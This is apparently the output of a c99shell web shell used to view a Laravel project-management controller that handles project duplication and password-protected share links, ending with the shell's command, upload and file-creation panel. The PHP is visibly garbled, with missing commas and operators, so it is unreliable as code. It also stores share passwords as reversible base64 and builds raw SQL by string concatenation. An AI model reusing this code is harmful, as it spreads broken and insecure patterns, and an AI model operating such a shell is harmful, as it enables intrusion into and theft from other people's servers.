$duplicate['start_date']            = $project->start_date;
            
$duplicate['end_date']              = $project->end_date;
            
$duplicate['estimated_hrs']         = $project->estimated_hrs;
            
$duplicate['created_by']            = \Auth::user()->creatorId();
            
$duplicate->save();



            if(isset(
$request->user) && in_array("user"$request->user)){
                
$users ProjectUser::where('project_id',$project->id)->get();
                foreach(
$users as $user){
                    
$users = new ProjectUser();
                    
$users['user_id'] = $user->user_id;
                    
$users['project_id'] = $duplicate->id;
                    
$users->save();
                }
            }
            else{
                
$objUser Auth::user();
                
$users              = new ProjectUser();
                
$users['user_id']   = $objUser->id;
                
$users['project_id']= $duplicate->id;
                
$users->save();
            }


            if(isset(
$request->task) && in_array("task"$request->task)){

                
$tasks ProjectTask::where('project_id',$project->id)->get();

                foreach(
$tasks as $task){
                    
$project_task                   = new ProjectTask();
                    
$project_task['name']           = $task->name;
                    
$project_task['description']    = $task->description;
                    
$project_task['estimated_hrs']  = $task->estimated_hrs;
                    
$project_task['start_date']     = $task->start_date;
                    
$project_task['end_date']       = $task->end_date;
                    
$project_task['priority']       = $task->priority;
                    
$project_task['priority_color'] = $task->priority_color;
                    
$project_task['assign_to']      = $task->assign_to;
                    
$project_task['project_id']     = $duplicate->id;
                    
$project_task['milestone_id']   = $task->milestone_id;
                    
$project_task['stage_id']       = $task->stage_id;
                    
$project_task['order']          = $task->order;
                    
$project_task['created_by']     = \Auth::user()->creatorId();
                    
$project_task['is_favourite']   = $task->is_favourite;
                    
$project_task['is_complete']    = $task->is_complete;
                    
$project_task['marked_at']      = $task->marked_at;
                    
$project_task['progress']       = $task->progress;
                    
$project_task->save();


                    if(
in_array("task_comment",$request->task)){
                        
$task_comments TaskComment::where('task_id',$task->id)->get();
                        foreach(
$task_comments as $task_comment){
                            
$comment                = new TaskComment();
                            
$comment['comment']     = $task_comment->comment;
                            
$comment['task_id']     = $project_task->id;
                            
$comment['user_id']     = !empty($task_comment)? $task_comment->user_id :0;
                            
$comment['user_type']   = $task_comment->user_type;
                            
$comment['created_by']  = $task_comment->created_by;
                            
$comment->save();
                        }

                    }
                    if(
in_array("task_files",$request->task)){
                        
$task_files TaskFile::where('task_id',$task->id)->get();
                        foreach(
$task_files as $task_file){
                            
$file               = new TaskFile();
                            
$file['file']       = $task_file->file;
                            
$file['name']       = $task_file->name;
                            
$file['extension']  = $task_file->extension;
                            
$file['file_size']  = $task_file->file_size;
                            
$file['created_by'] = $task_file->created_by;
                            
$file['task_id']    = $project_task->id;
                            
$file['user_type']  = $task_file->user_type;
                            
$file->save();
                        }
                    }
                }
            }
            if(isset(
$request->bug) && in_array("bug"$request->bug)){
                
$bugs Bug::where('project_id',$project->id)->get();

                foreach(
$bugs as $bug){
                    
$project_bug                   = new Bug();
                    
$project_bug['bug_id']          = $bug->bug_id;
                    
$project_bug['project_id']     = $duplicate->id;
                    
$project_bug['title']          = $bug->title;
                    
$project_bug['priority']       = $bug->priority;
                    
$project_bug['start_date']          = $bug->start_date;
                    
$project_bug['due_date']          = $bug->due_date;
                    
$project_bug['description']    = $bug->description;
                    
$project_bug['status']         = $bug->status;
                    
$project_bug['order']          = $bug->order;
                    
$project_bug['assign_to']      = $bug->assign_to;
                    
$project_bug['created_by']         = \Auth::user()->creatorId();
                    
$project_bug->save();

                    if(
in_array("bug_comment",$request->bug)){
                        
$bug_comments BugComment::where('bug_id',$bug->id)->get();
                        foreach(
$bug_comments as $bug_comment){
                            
$bugcomment                 = new BugComment();
                            
$bugcomment['comment']      = $bug_comment->comment;
                            
$bugcomment['bug_id']       = $project_bug->id;
                            
$bugcomment['user_type']    = $bug_comment->user_type;
                            
$bugcomment['created_by']   = $bug_comment->created_by;
                            
$bugcomment->save();
                        }

                    }
                    if(
in_array("bug_files",$request->bug)){
                        
$bug_files BugFile::where('bug_id',$bug->id)->get();

                        foreach(
$bug_files as $bug_file){
                            
$bugfile               = new BugFile();
                            
$bugfile['file']       = $bug_file->file;
                            
$bugfile['name']       = $bug_file->name;
                            
$bugfile['extension']  = $bug_file->extension;
                            
$bugfile['file_size']  = $bug_file->file_size;
                            
$bugfile['bug_id']     = $project_bug->id;
                            
$bugfile['user_type']  = $bug_file->user_type;
                            
$bugfile['created_by'] = $bug_file->created_by;
                            
$bugfile->save();
                        }
                    }
                }
            }
            if(isset(
$request->milestone) && in_array("milestone"$request->milestone)){
                
$milestones Milestone::where('project_id',$project->id)->get();

                foreach (
$milestones as $milestone) {
                    
$post                   = new Milestone();
                    
$post['project_id']     = $duplicate->id;
                    
$post['title']          = $milestone->title;
                    
$post['status']         = $milestone->status;
                    
$post['due_date']       = $milestone->due_date;
                    
$post['start_date']     = $milestone->start_date;
                    
$post['cost']           = $milestone->cost;
                    
$post['progress']       = $milestone->progress;
                    
$post->save();
                }
            }
            if(isset(
$request->project_file) && in_array("project_file",$request->project_file)){
                
$project_files TaskFile::where('task_id',$task->id)->get();
//                dd($project_files);
                
foreach ($project_files as $project_file) {
                    
$ProjectFile                = new TaskFile();
                    
$ProjectFile['task_id']  = $duplicate->id;
                    
$ProjectFile['file']   = $project_file->file;
                    
$ProjectFile['name']   = $project_file->name;
                    
$ProjectFile['extension']   = $project_file->extension;
                    
$ProjectFile['file_size']   = $project_file->file_size;
                    
$ProjectFile['user_type']   = $project_file->user_type;
                    
$ProjectFile['created_by']   = $project_file->created_by;
                    
$ProjectFile->save();
                }
            }
            if(isset(
$request->activity) && in_array('activity',$request->activity))
            {
                
$where_in_array = [];
                if( isset(
$request->milestone) && in_array("milestone"$request->milestone))
                {
                    
array_push($where_in_array,"Create Milestone");
                }
                if(isset(
$request->task) && in_array("task"$request->task))
                {
                    
array_push($where_in_array,"Create Task","Move");
                }
                if(isset(
$request->bug) && in_array("bug"$request->bug))
                {
                    
array_push($where_in_array,"Create Bug","Move Bug");
                }
//                if(isset($request->client) && in_array("client", $request->client))
//                {
//                    array_push($where_in_array,"Share with Client");
//                }
                
if(isset($request->user) && in_array("user"$request->user))
                {
                    
array_push($where_in_array,"Invite User");
                }
                if(isset(
$request->project_file) && in_array("project_file"$request->project_file))
                {
                    
array_push($where_in_array,"Upload File");
                }
                if(
count($where_in_array) > 0)
                {
                    
$activities ActivityLog::where('project_id',$project->id)->whereIn('log_type',$where_in_array)->get();

                    foreach(
$activities as $activity){
                        
$activitylog                = new ActivityLog();
                        
$activitylog['user_id']     = $activity->user_id;
                        
$activitylog['project_id']  = $duplicate->id;
                        
$activitylog['project_id']  = $duplicate->id;
                        
$activitylog['log_type']    = $activity->log_type;
                        
$activitylog['remark']      = $activity->remark;
                        
$activitylog->save();
                    }
                }
            }
            return 
redirect()->back()->with('success''Project Created Successfully');
        }
        else
        {
            return 
redirect()->back()->with('error''permission Denied');
        }

    }

    
//share project module

    
public function copylink_setting_create$projectID)
    {
        
$objUser Auth::user();
        
$project Project::select('projects.*')->join('project_users''projects.id''=''project_users.project_id')->where('project_users.user_id''='$objUser->id)->where('projects.id''='$projectID)->first();
        
$result json_decode($project->copylinksetting);
        return 
view('projects.copylink_setting'compact('project','projectID','result'));
    }

    public function 
copylinksetting(Request $request$id  )
    {
        
$objUser Auth::user();

        
$data = [];
        
$data['basic_details']  = isset($request->basic_details) ? 'on' 'off';
        
$data['member']  = isset($request->member) ? 'on' 'off';
        
$data['milestone']  = isset($request->milestone) ? 'on' 'off';
        
$data['client']  = isset($request->client) ? 'on' 'off';
        
$data['progress']  = isset($request->progress) ? 'on' 'off';
        
$data['activity']  = isset($request->activity) ? 'on' 'off';
        
$data['attachment']  = isset($request->attachment) ? 'on' 'off';
        
$data['bug_report']  = isset($request->bug_report) ? 'on' 'off';
        
$data['expense']  = isset($request->expense) ? 'on' 'off';
        
$data['task']  = isset($request->task) ? 'on' 'off';
        
$data['tracker_details']  = isset($request->tracker_details) ? 'on' 'off';
        
$data['timesheet']  = isset($request->timesheet) ? 'on' 'off';
        
$data['password_protected']  = isset($request->password_protected) ? 'on' 'off';
        
$project Project::select('projects.*')
            ->
join('project_users''projects.id''=''project_users.project_id')
            ->
where('project_users.user_id''='$objUser->id)
            ->
where('projects.id''='$id)->first();

        if(isset(
$request->password_protected) && $request->password_protected == 'on' ){
            
$project->password base64_encode($request->password);

        }else{
            
$project->password null;
        }


        
$project->copylinksetting = (count($data) > ) ? json_encode($data) : null;
        
$project->save();
        return 
redirect()->back()->with('success'__('Copy Link Setting Save Successfully!'));
    }

    public function 
projectlink(Request $request,$project_id$lang='')
    {
        try {
            
$id=\Illuminate\Support\Facades\Crypt::decrypt($project_id);
        } catch (
\Throwable $th) {
            return 
redirect()->back()->with('error'__('Project Not Found.'));
        }

        
$id=\Illuminate\Support\Facades\Crypt::decrypt($project_id);

        
$project Project::find($id);

        
$data = [];
        
$data['basic_details']  = isset($request->basic_details) ? 'on' 'off';
        
$data['member']  = isset($request->member) ? 'on' 'off';
        
$data['milestone']  = isset($request->milestone) ? 'on' 'off';
        
$data['activity']  = isset($request->activity) ? 'on' 'off';
        
$data['attachment']  = isset($request->attachment) ? 'on' 'off';
        
$data['bug_report']  = isset($request->bug_report) ? 'on' 'off';
        
$data['expense']  = isset($request->expense) ? 'on' 'off';
        
$data['task']  = isset($request->task) ? 'on' 'off';
        
$data['tracker_details']  = isset($request->tracker_details) ? 'on' 'off';
        
$data['timesheet']  = isset($request->timesheet) ? 'on' 'off';
        
$data['password_protected']  = isset($request->password_protected) ? 'on' 'off';


        if(
Auth::user() != null){
            
$usr         Auth::user();
        }else{
            
$usr         User::where('id',$project->created_by)->first();
        }

        
$user_projects $usr->projects->pluck('id')->toArray();

        
$project_data = [];

        
// Task Count
        
$project_task         $project->tasks->count();

        
$project_done_task    $project->tasks->where('is_complete''='1)->count();

        
$project_data['task'] = [
            
'total' => number_format($project_task),
            
'done' => number_format($project_done_task),
            
'percentage' => Utility::getPercentage($project_done_task$project_task),
        ];

        
// end Task Count


        // Users Assigned
        
$total_users User::where('created_by''='$usr->id)->count();

        
$project_data['user_assigned'] = [
            
'total' => number_format($total_users) . '/' number_format($total_users),
            
'percentage' => Utility::getPercentage($total_users$total_users),
        ];
        
// End Users Assigned


        // Day left
        
$total_day   Carbon::parse($project->start_date)->diffInDays(Carbon::parse($project->end_date));
        
$remaining_day Carbon::parse($project->start_date)->diffInDays(now());
        
$project_data['day_left'] = [
            
'day' => number_format($remaining_day) . '/' number_format($total_day),
            
'percentage' => Utility::getPercentage($remaining_day$total_day),
        ];
        
// end day left

        
if($usr->checkProject($project->id) == 'Owner')
        {
            
$remaining_task ProjectTask::where('project_id''='$project->id)->where('is_complete''='0)->count();
            
$total_task     ProjectTask::where('project_id''='$project->id)->count();
        }
        else
        {
            
$remaining_task ProjectTask::where('project_id''='$project->id)->where('is_complete''='0)->whereRaw("find_in_set('" $usr->id "',assign_to)")->count();
            
$total_task     ProjectTask::where('project_id''='$project->id)->whereRaw("find_in_set('" $usr->id "',assign_to)")->count();
        }
        
$project_data['open_task'] = [
            
'tasks' => number_format($remaining_task) . '/' number_format($total_task),
            
'percentage' => Utility::getPercentage($remaining_task$total_task),
        ];

        
// Milestone
        
$total_milestone           $project->milestones()->count();

        
$complete_milestone        $project->milestones()->where('status''LIKE''complete')->count();
        
$project_data['milestone'] = [
            
'total' => number_format($complete_milestone) . '/' number_format($total_milestone),
            
'percentage' => Utility::getPercentage($complete_milestone$total_milestone),
        ];
        
// End Milestone


        // Chart
        
$seven_days      Utility::getLastSevenDays();
        
$chart_task      = [];
        
$chart_timesheet = [];
        
$cnt             0;
        
$cnt1            0;

        foreach(
array_keys($seven_days) as $k => $date)
        {
            if(
$usr->checkProject($project->id) == 'Owner')
            {
                
$task_cnt     $project->tasks()->where('is_complete''='1)->where('marked_at''LIKE'$date)->count();
                
$arrTimesheet $project->timesheets()->where('date''LIKE'$date)->pluck('time')->toArray();
            }
            else
            {
                
$task_cnt     $project->tasks()->where('is_complete''='1)->whereRaw("find_in_set('" $usr->id "',assign_to)")->where('marked_at''LIKE'$date)->count();
                
$arrTimesheet $project->timesheets()->where('created_by''='$usr->id)->where('date''LIKE'$date)->pluck('time')->toArray();
            }

            
// Task Chart Count
            
$cnt += $task_cnt;

            
// Timesheet Chart Count
            
$timesheet_cnt str_replace(':''.'Utility::timeToHr($arrTimesheet));
            
$cn[]          = $timesheet_cnt;
            
$cnt1          += number_format($timesheet_cnt2);

            
$chart_task[]      = $task_cnt;
            
$chart_timesheet[] = number_format($timesheet_cnt2);
        }

        
// Allocated Hours
        
$hrs                                Project::projectHrs($project->id);


        
$project_data['task_allocated_hrs'] = [
            
'hrs' => number_format($hrs['allocated']) . '/' number_format($hrs['allocated']),
            
'percentage' => Utility::getPercentage($hrs['allocated'], $hrs['allocated']),
        ];

        
// end allocated hours

        // Time spent
        
if($usr->checkProject($project->id) == 'Owner')
        {
            
$times $project->timesheets->pluck('time')->toArray();
        }
        else
        {
            
$times $project->timesheets()->where('created_by''='$usr->id)->pluck('time')->toArray();
        }
        
$totaltime                  str_replace(':''.'Utility::timeToHr($times));
        
$estimatedtime              $project->estimated_hrs != '' $project->estimated_hrs '0';
        
$project_data['time_spent'] = [
            
'total' => number_format($totaltime) . '/' number_format($estimatedtime),
            
'percentage' => Utility::getPercentage(number_format($totaltime), $estimatedtime),
        ];
        
// end time spent

        
$project_data['task_chart']      = [
            
'chart' => $chart_task,
            
'total' => $cnt,
        ];

        
$project_data['timesheet_chart'] = [
            
'chart' => $chart_timesheet,
            
'total' => $cnt1,
        ];
        if(isset(
$request->milestone) && in_array("milestone"$request->milestone)){
            
$milestones Milestone::where('project_id',$project->id)->get();

            foreach (
$milestones as $milestone) {

                
$post                   = new Milestone();
                
$post['project_id']     = $milestone->id;
                
$post['title']          = $milestone->title;
                
$post['status']         = $milestone->status;
                
$post['description']    = $milestone->description;
                
$post->save();
            }
        }

        if(isset(
$request->task) && in_array("task"$request->task)){
            
$tasks ProjectTask::where('project_id',$project->id)->where('stage_id',$stage->id)->get();
            
$activities ActivityLog::where('project_id',$project->id)->where('task_id',$task->id)->get();

            foreach(
$activities as $activity){

                
$activitylog                = new ActivityLog();
                
$activitylog['user_id']     = $activity->user_id;
                
$activitylog['project_id']  = $activity->id;
                
$activitylog['task_id']     = $activity->id;
                
$activitylog['log_type']    = $activity->log_type;
                
$activitylog['remark']      = $activity->remark;
                
$activitylog->save();
            }
        }

        
$stages TaskStage::where('project_id''='$id)->orderBy('order')->get();
        foreach (
$stages as &$status)
        {
            
$stageClass[] = 'task-list-' $status->id;
            
$task ProjectTask::where('project_id''='$id);

            
// check project is shared or owner
            
if ($usr->checkProject($project_id) == 'Shared') {
                
$task->whereRaw(
                    
"find_in_set('" $usr->id "',assign_to)"
                
);
            }
            
//end

            
$task->orderBy('order');
            
$status['tasks'] = $task ->where('stage_id''='$status->id) ->get();
        }

        
$treckers=TimeTracker::where('project_id',$id)->where('created_by',$usr->id)->get();

        
//bug report

            
$bugs Bug::where('project_id',$project->id)->get();


        
//task
        
$tasks ProjectTask::where('project_id',$project->id)->get();

        
//lang


        
$lang = !empty($lang) ? $lang : (!empty($usr->lang) ? $usr->lang env('DEFAULT_ADMIN_LANG')) ;

        
\App::setLocale($lang);

//        dd($lang);



        
if(\Session::get('copy_pass_true'$id) == $project->password '-' $id)
        {

            return 
view('projects.copylink'compact('data','project','project_data','stages','treckers','usr','bugs','tasks','lang'));
        }else
        {

            if(!isset(
json_decode($project->copylinksetting)->password_protected) || json_decode($project->copylinksetting)->password_protected != 'on')
            {

                return 
view('projects.copylink'compact('data','project','project_data','stages','treckers','usr','lang','tasks','bugs'));

            }elseif(isset(
json_decode($project->copylinksetting)->password_protected) && json_decode($project->copylinksetting)->password_protected == 'on' && $request->password == base64_decode($project->password)){

                
\Session::put('copy_pass_true'.$id$project->password '-' $id);


                return 
view('projects.copylink'compact('data','project','project_data','stages','treckers','usr','lang','bugs','tasks'));

            }else{


                return 
view('projects.copylink_password'compact('id'));
            }
        }

    }









}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0079 ]--